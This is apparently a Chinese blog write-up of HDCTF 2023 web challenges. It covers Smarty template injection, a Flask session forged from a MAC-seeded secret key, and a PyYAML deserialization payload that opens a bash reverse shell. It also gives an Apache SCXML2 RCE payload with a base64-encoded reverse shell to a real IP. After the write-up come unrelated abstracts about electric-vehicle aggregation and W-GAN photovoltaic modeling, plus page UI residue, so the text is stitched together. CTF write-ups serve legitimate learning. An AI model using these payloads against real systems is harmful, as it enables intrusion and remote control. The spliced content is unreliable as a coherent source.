HDCTF web复现

[HDCTF 2023]SearchMaster

传data 

使用{if}标签闭合达到命令执行的效果

{if phpinfo()}{/if}

 NSSCTF{f578f8ba-246e-452b-b070-22bc4fc4313d}

Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)

[HDCTF 2023]YamiYami

非预期解

第一个连接 跳转到百度,结合链接名,那就是任意文件读取。

 self 读不到 flag   换成1  可以读到

 NSSCTF{9fade70a-7ddd-4e99-add3-1a53f2ed9608}

预期解

利用任意文件读取 /app.py 文件

/read?url=file:///app.py

发现过滤 

url 编码绕过 此过滤

app/app.py 二次编码后:

%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

源码:

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
"导入所需的模块和库"

app = Flask(__name__)
"创建Flask应用实例"

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
"配置应用"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 

    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

 

关键位置:

def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"

这里 通过 if 判断 session = Welcome To HDCTF2023 时

会获取file 参数名, 如果file 存在,则使用 yaml.full_load 进行 反序列化读取文件。

这里是存在yaml 反序列化漏洞的,具体看我分析的文章

(4条消息) PyYaml反序列化漏洞_snowlyzz的博客-CSDN博客

那这么说  就有两个考点了:

  1. session 伪造
  2. yaml 反序列化RCE

伪造session

如果要伪造 session  就要知道其 密钥 也就是 secret_key  

在 Flask 中,SECRET_KEY 是一个用于加密会话数据的关键设置。会话(Session)是一种在客户端和服务器之间存储数据的机制,用于跟踪用户的状态和存储用户的敏感信息。在会话中存储的数据会被加密,并在客户端和服务器之间传输。

当用户与应用程序建立会话时,服务器会将会话数据存储在服务器端,并生成一个唯一的会话标识符(session ID),发送给客户端浏览器。客户端浏览器将会话标识符存储在 Cookie 中,以便在后续的请求中发送给服务器。

为了保护会话数据的安全性,Flask 使用 SECRET_KEY 对会话数据进行加密和解密操作。这个密钥被用于生成加密会话数据的签名,并在解密时验证签名的有效性。只有拥有相同的 SECRET_KEY 的服务器才能够正确解密和验证会话数据。

因此,在进行会话伪造时,攻击者需要知道应用程序使用的 SECRET_KEY 才能够成功地生成有效的伪造会话数据。如果攻击者没有正确的 SECRET_KEY,会话数据将无法被正确解密和验证,从而阻止了会话伪造攻击。

对于 代码中 

random.seed(uuid.getnode())

app.config['SECRET_KEY'] = str(random.random()*233)
  • random.seed(uuid.getnode()):使用机器的 MAC 地址作为随机数种子。

  • app.config['SECRET_KEY']:设置一个随机生成的密钥作为 Flask 应用的密钥。

这里使用 机器的mac 地址作为种子,那么 我们可以读取他的 /sys/class/net/eth0/address ,这个就是他的网卡位置,读取进行伪造。

 

02:42:ac:02:67:42 

再利用python脚本进行进一步伪造:

import random

random.seed(0x0242ac026742)
print(str(random.random()*233))

因为我们的网卡地址是16进制的 所以要在前面 +0x 进行计算

结果:

226.71745730057538

再使用咱们的老工具flask_session_cookie_manager:

python3 flask_session_cookie_manager3.py encode -s "226.71745730057538" -t "{'passport': 'Welcome to HDCTF2023'}" 
eyJwYXNzcG9ydCI6IldlbGNvbWUgdG8gSERDVEYyMDIzIn0.ZFjAlQ.tI9PYpQIxfklEFLCWHG2EkbvGpg

这里的session先留着一会来替换掉原来的session,接下来进行第二步Yaml反序列化

这里利用它是因为最后/boogipop这个路由使用到了yaml.full_load(f)

内容可以是yaml形式的反弹shell的脚本,上传yml文件,但是注意这里yml存在黑名单,因此不能后缀名为yml,改个文件后缀即可,load()记载并不是通过判断后缀名加载的。

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/youip/6666 0>&1\"')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec


至于 为什么是这个形式的pyload  可以参考 yaml >5.1 的文章分析:

PyYaml反序列化漏洞详解 - 先知社区 (aliyun.com)

 

 BabyJxVx(Apache SCXML2 RCE)

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>

参考文章:

Apache SCXML2 RCE分析 · 语雀 (yuque.com)

 

内容概要:本文围绕“基于多面体聚合与闵可夫斯基和的电动汽车可调能力评估研究”展开,系统提出一种基于多面体建模与几何运算的聚合方法,用于量化大规模电动汽车集群的可调节能力。通过构建单车充电可行域的凸多面体表示,并利用闵可夫斯基和实现群体调控潜力的数学聚合,形成统一的等效灵活资源集合,从而精确刻画电动汽车集群在时间与功率维度上的整体调节边界。该方法结合Matlab代码实现,支持对聚合结果的可视化呈现与边界分析,为电力系统中的需求响应、虚拟电厂运营及分布式能源调度提供了高精度建模工具。研究强调科研应兼顾严谨逻辑与创新思维,倡导借助YALMIP等优化工具提升建模效率与求解可靠性。; 适合人群:具备电力系统分析、凸优化理论或运筹学背景,从事新能源并网、电动汽车调度、综合能源系统等方向的研究生、科研人员及工程技术人员。; 使用场景及目标:①掌握多面体建模与闵可夫斯基和在电力系统灵活性聚合中的数学原理与实现方法;②学习利用Matlab完成电动汽车集群可调能力的建模、聚合与可视化分析;③应用于虚拟电厂资源聚合、需求响应潜力评估、配电网柔性负荷调控等实际场景的建模与优化决策。; 阅读建议:建议读者结合文中Matlab代码逐模块复现算法流程,重点理解多面体定义、约束处理及闵可夫斯基和的近似计算实现,同时参考提供的YALMIP工具包资源,深入掌握优化建模技巧,以全面提升对复杂系统聚合建模的能力。
内容概要:本文系统研究了基于Wasserstein生成对抗网络(W-GAN)的光伏出力场景生成方法,旨在应对新能源出力的高度不确定性。相较于传统GAN,W-GAN通过引入Wasserstein距离与梯度惩罚机制,显著提升了模型训练的稳定性与生成数据的质量,能够更精确地捕捉光伏功率时序数据的波动性与时序相关性。研究详细阐述了模型架构设计、损失函数构建、梯度惩罚项(GP)的实现细节,并通过Python代码实现了完整的数据预处理、模型训练、场景生成与后评估流程。生成的高保真光伏场景在统计特性(如分布形态、波动幅度、日内趋势)上与真实数据高度吻合,有效满足了电力系统对不确定性建模的严苛要求。; 适合人群:具备Python编程能力和深度学习基础知识,从事新能源发电预测、电力系统规划、运行调度、储能配置及风险管理等领域的研究生、科研人员和工程技术人员。; 使用场景及目标:①为含高比例光伏的电力系统进行可靠性评估、优化调度与安全校核提供高质量、多样化的输入场景;②支撑储能系统容量配置、需求响应策略制定等决策,以应对光伏出力的波动性;③作为深度学习在能源领域应用的典型案例,服务于相关课题的教学、科研与项目开发。; 阅读建议:建议读者深入研读并运行所提供的Python代码,重点关注W-GAN中判别器(Critic)的构造、梯度惩罚项的编码实现以及训练过程中的超参数(如学习率、惩罚系数)调优策略,可通过对比生成场景与真实场景的可视化结果来评估模型性能,并尝试将其扩展至条件W-GAN(CW-GAN)以生成特定气象条件下的光伏场景。
内容概要:本文围绕基于生成对抗网络(GAN)与Wasserstein GAN(W-GAN)的光伏场景生成展开研究,重点介绍如何利用Python代码实现W-GAN模型,以生成高质量、高稳定性的光伏发电出力场景数据。相较于传统GAN,W-GAN通过引入Wasserstein距离和梯度惩罚机制,有效缓解了训练过程中的模式崩溃与梯度消失问题,显著提升了生成数据的真实性和多样性。该方法在新能源出力不确定性建模、电力系统仿真分析等领域具有重要应用价值。文中提供了完整的实现流程,涵盖数据预处理、网络结构设计、损失函数构建、模型训练优化及生成结果可视化等关键环节。; 适合人群:具备一定Python编程能力和深度学习基础,从事新能源发电预测、电力系统规划、智能电网仿真或人工智能算法应用等相关方向的研究人员及高校研究生。; 使用场景及目标:①用于构建高精度的光伏出力不确定性场景集,支撑电力系统调度决策、储能配置与风险评估;②为高比例可再生能源接入下的电力系统提供可靠、多样化的输入场景,提升仿真与优化模型的鲁棒性;③帮助研究者深入理解W-GAN的理论机制与工程实现,推动其在能源系统建模中的创新应用。; 阅读建议:建议读者结合提供的代码进行动手实践,重点关注判别器与生成器的网络架构设计、Wasserstein损失函数的实现方式以及梯度惩罚项的添加技巧,同时可在不同气候区域或时间尺度的光伏数据集上进行迁移实验,进一步验证模型泛化能力。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值